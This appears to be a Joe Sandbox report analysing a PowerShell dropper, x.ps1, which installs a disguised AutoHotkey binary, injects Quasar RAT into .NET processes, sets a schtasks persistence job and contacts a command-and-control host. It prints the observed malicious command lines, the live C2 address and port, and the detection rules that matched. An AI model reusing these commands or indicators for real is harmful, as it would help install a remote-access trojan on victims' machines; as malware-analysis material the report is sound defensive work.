Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
x.ps1

Overview

General Information

Sample name:x.ps1
Analysis ID:1577249
MD5:97646b99bb7245a7be3bbe8a0ff06348
SHA1:33edac8a75cac4a0a1d084174b3dc912b9744386
SHA256:3496b253962f9fad33450751e615e676ad8f847d11c50df45a35647b2534755d
Tags:66-225-254-246ps1user-JAMESWT_MHT
Infos:

Detection

Quasar
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Detected Quasar RAT
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected Quasar RAT
AI detected suspicious sample
Allocates memory in foreign processes
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Powershell drops PE file
Sample or dropped binary is a compiled AutoHotkey binary
Sigma detected: Execution from Suspicious Folder
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Schtasks From Env Var Folder
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Uses the system / local time for branch decision (may execute only at specific dates)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • powershell.exe (PID: 7316 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 7324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • AutoHotkey64.exe (PID: 7500 cmdline: "C:\Users\Public\Documents\AutoHotkey64.exe" MD5: 2D0600FE2B1B3BDC45D833CA32A37FDB)
      • AddInProcess32.exe (PID: 7556 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
      • AddInProcess32.exe (PID: 7564 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
      • AddInProcess32.exe (PID: 7576 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
      • AddInProcess32.exe (PID: 7600 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
      • AddInProcess32.exe (PID: 7624 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
    • schtasks.exe (PID: 7520 cmdline: "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
  • AutoHotkey64.exe (PID: 7540 cmdline: C:\Users\Public\Documents\AutoHotkey64.exe MD5: 2D0600FE2B1B3BDC45D833CA32A37FDB)
    • AddInProcess32.exe (PID: 7760 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
    • AddInProcess32.exe (PID: 7768 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
    • AddInProcess32.exe (PID: 7788 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
    • AddInProcess32.exe (PID: 7804 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
    • AddInProcess32.exe (PID: 7844 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
  • AutoHotkey64.exe (PID: 3488 cmdline: C:\Users\Public\Documents\AutoHotkey64.exe MD5: 2D0600FE2B1B3BDC45D833CA32A37FDB)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Quasar RAT, QuasarRATQuasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.
  • APT33
  • Dropping Elephant
  • Stone Panda
  • The Gorgon Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
    0000000C.00000002.1927919605.000000000273B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
      00000007.00000002.1854587486.00000000033D1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
        00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
          0000000D.00000002.1930008150.000000000270B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
            Click to see the 11 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            7.2.AddInProcess32.exe.400000.0.unpackJoeSecurity_QuasarYara detected Quasar RATJoe Security
              7.2.AddInProcess32.exe.400000.0.unpackJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
                7.2.AddInProcess32.exe.400000.0.unpackMAL_QuasarRAT_May19_1Detects QuasarRAT malwareFlorian Roth
                • 0xfc12:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
                7.2.AddInProcess32.exe.400000.0.unpackMALWARE_Win_QuasarRATQuasarRAT payloadditekSHen
                • 0x103c5:$ua1: Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0
                • 0x1131c:$us2: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Execution from Suspicious Folder
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Documents\AutoHotkey64.exe" , CommandLine: "C:\Users\Public\Documents\AutoHotkey64.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Documents\AutoHotkey64.exe, NewProcessName: C:\Users\Public\Documents\AutoHotkey64.exe, OriginalFileName: C:\Users\Public\Documents\AutoHotkey64.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7316, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Documents\AutoHotkey64.exe" , ProcessId: 7500, ProcessName: AutoHotkey64.exe
                Sigma detected: Potentially Suspicious PowerShell Child Processes
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f, CommandLine: "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7316, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f, ProcessId: 7520, ProcessName: schtasks.exe
                Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
                Source: File createdAuthor: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7316, TargetFilename: C:\Users\Public\Documents\AutoHotkey64.exe
                Sigma detected: Change PowerShell Policies to an Insecure Level
                Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", ProcessId: 7316, ProcessName: powershell.exe
                Sigma detected: Potential Binary Or Script Dropper Via PowerShell
                Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7316, TargetFilename: C:\Users\Public\Documents\AutoHotkey64.exe
                Sigma detected: Suspicious Schtasks From Env Var Folder
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f, CommandLine: "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7316, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f, ProcessId: 7520, ProcessName: schtasks.exe
                Sigma detected: Non Interactive PowerShell Process Spawned
                Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1", ProcessId: 7316, ProcessName: powershell.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-18T10:20:20.337990+010020363831A Network Trojan was detected192.168.2.449730208.95.112.180TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Yara detected Quasar RAT
                Source: Yara matchFile source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1927919605.000000000273B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.1854587486.00000000033D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000D.00000002.1930008150.000000000270B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000B.00000002.1930172049.000000000276B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.1927403521.000000000231B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.1855061423.0000000002C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7564, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7576, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7624, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7760, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7768, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7788, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7804, type: MEMORYSTR
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Source: Binary string: D:\Projects\=Work[13]=\File\Quasar\KeyLogger\obj\Release\KeyLogger.pdb source: AddInProcess32.exe, 00000006.00000002.4213601750.0000000002921000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.4236024518.0000000005E30000.00000004.08000000.00040000.00000000.sdmp
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BA370 FindFirstFileW,FindClose,FindFirstFileW,FindClose,19_2_00000001400BA370
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BA270 GetFileAttributesW,FindFirstFileW,FindClose,19_2_00000001400BA270
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400742C0 FindFirstFileW,GetTickCount,PeekMessageW,GetTickCount,FindNextFileW,FindClose,GetLastError,FindFirstFileW,GetTickCount,PeekMessageW,GetTickCount,_swprintf,FindNextFileW,FindClose,19_2_00000001400742C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004A390 FindFirstFileW,FindNextFileW,FindClose,GetTickCount,FindNextFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,19_2_000000014004A390
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008E5C0 GetFileAttributesW,FindFirstFileW,FindClose,19_2_000000014008E5C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140074620 FindFirstFileW,GetLastError,FindClose,FileTimeToLocalFileTime,FileTimeToSystemTime,_swprintf,free,19_2_0000000140074620
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140074C70 CreateFileW,GetFileSizeEx,CloseHandle,FindFirstFileW,GetLastError,FindClose,19_2_0000000140074C70
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008DFD0 GetFullPathNameW,GetFullPathNameW,GetFileAttributesW,GetFileAttributesW,FindFirstFileW,GetLastError,wcsncpy,GetTickCount,PeekMessageW,GetTickCount,FindNextFileW,FindClose,MoveFileW,DeleteFileW,MoveFileW,GetLastError,CopyFileW,GetLastError,19_2_000000014008DFD0

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2036383 - Severity 1 - ET MALWARE Common RAT Connectivity Check Observed : 192.168.2.4:49730 -> 208.95.112.1:80
                Yara detected Generic Downloader
                Source: Yara matchFile source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                Source: global trafficTCP traffic: 192.168.2.4:49731 -> 66.225.254.246:1177
                Source: Joe Sandbox ViewIP Address: 208.95.112.1 208.95.112.1
                Source: unknownDNS query: name: ip-api.com
                Source: global trafficHTTP traffic detected: GET /json/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0Host: ip-api.comConnection: Keep-Alive
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008AE00 _wcstoi64,InternetOpenW,InternetOpenUrlW,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetReadFile,GetTickCount,PeekMessageW,GetTickCount,InternetReadFile,InternetReadFileExA,GetTickCount,PeekMessageW,GetTickCount,InternetReadFileExA,InternetCloseHandle,InternetCloseHandle,fclose,DeleteFileW,19_2_000000014008AE00
                Source: global trafficHTTP traffic detected: GET /json/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0Host: ip-api.comConnection: Keep-Alive
                Source: global trafficDNS traffic detected: DNS query: ip-api.com
                Source: global trafficDNS traffic detected: DNS query: feature-ssa.mywire.org
                Source: AddInProcess32.exe, 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://api.ipify.org/
                Source: AddInProcess32.exe, 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://freegeoip.net/xml/
                Source: AddInProcess32.exe, 00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json/
                Source: powershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                Source: powershell.exe, 00000000.00000002.1782858040.0000012DBFE88000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                Source: AddInProcess32.exe, 00000006.00000002.4213601750.0000000002921000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/
                Source: AddInProcess32.exe, 00000006.00000002.4213601750.0000000002921000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/xClient.Core.Data
                Source: powershell.exe, 00000000.00000002.1782858040.0000012DBFC61000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: powershell.exe, 00000000.00000002.1782858040.0000012DBFE88000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                Source: powershell.exe, 00000000.00000002.1782858040.0000012DBFC61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                Source: AutoHotkey64.exe, AutoHotkey64.exe, 00000013.00000000.3468684177.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe.0.drString found in binary or memory: https://autohotkey.com
                Source: powershell.exe, 00000000.00000002.1812122999.0000012DD089D000.00000004.00000800.00020000.00000000.sdmp, AutoHotkey64.exe, 00000002.00000000.1778420471.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000004.00000000.1796075931.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000013.00000000.3468684177.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe.0.drString found in binary or memory: https://autohotkey.comCould
                Source: powershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                Source: powershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                Source: powershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                Source: powershell.exe, 00000000.00000002.1782858040.0000012DBFE88000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                Source: powershell.exe, 00000000.00000002.1782858040.0000012DC01E9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                Source: powershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe

                Key, Mouse, Clipboard, Microphone and Screen Capturing

                barindex
                Installs a global keyboard hook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWindows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140007240 GetTickCount,OpenClipboard,GetTickCount,OpenClipboard,19_2_0000000140007240
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140006EA0 EmptyClipboard,GlobalUnlock,CloseClipboard,GlobalUnlock,GlobalFree,GlobalUnlock,CloseClipboard,SetClipboardData,GlobalUnlock,CloseClipboard,GlobalUnlock,CloseClipboard,GlobalUnlock,GlobalFree,19_2_0000000140006EA0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BD430 EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalUnlock,CloseClipboard,GlobalFree,GlobalUnlock,CloseClipboard,GlobalUnlock,CloseClipboard,19_2_00000001400BD430
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140007120 GetClipboardFormatNameW,GetClipboardData,19_2_0000000140007120
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140062000 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,GetSystemMetrics,GetSystemMetrics,wcsncpy,GetDC,DestroyIcon,DeleteObject,GetIconInfo,CreateCompatibleDC,DeleteObject,DeleteObject,CreateCompatibleDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,CreateCompatibleDC,free,ReleaseDC,DeleteObject,SelectObject,DeleteDC,DeleteObject,free,free,free,free,19_2_0000000140062000
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400222E0 GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetTickCount,19_2_00000001400222E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140001BAC GlobalUnlock,CloseClipboard,SetTimer,GetTickCount,GetMessageW,GetTickCount,GetFocus,TranslateAcceleratorW,GetKeyState,GetWindowLongW,IsWindowEnabled,GetKeyState,GetKeyState,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,PostMessageW,SendMessageW,SendMessageW,IsDialogMessageW,ShowWindow,GetForegroundWindow,GetWindowThreadProcessId,GetClassNameW,IsDialogMessageW,SetCurrentDirectoryW,KillTimer,19_2_0000000140001BAC

                E-Banking Fraud

                barindex
                Yara detected Quasar RAT
                Source: Yara matchFile source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1927919605.000000000273B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.1854587486.00000000033D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000D.00000002.1930008150.000000000270B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000B.00000002.1930172049.000000000276B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.1927403521.000000000231B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.1855061423.0000000002C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7564, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7576, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7624, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7760, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7768, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7788, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7804, type: MEMORYSTR

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects QuasarRAT malware Author: Florian Roth
                Source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: QuasarRAT payload Author: ditekSHen
                Source: Process Memory Space: powershell.exe PID: 7316, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Powershell drops PE file
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Documents\AutoHotkey64.exeJump to dropped file
                Sample or dropped binary is a compiled AutoHotkey binary
                Source: C:\Users\Public\Documents\AutoHotkey64.exeWindow found: window name: AutoHotkeyJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeWindow found: window name: AutoHotkeyJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeWindow found: window name: AutoHotkey
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess Stats: CPU usage > 49%
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006C870: _swprintf,CreateFileW,DeviceIoControl,CloseHandle,19_2_000000014006C870
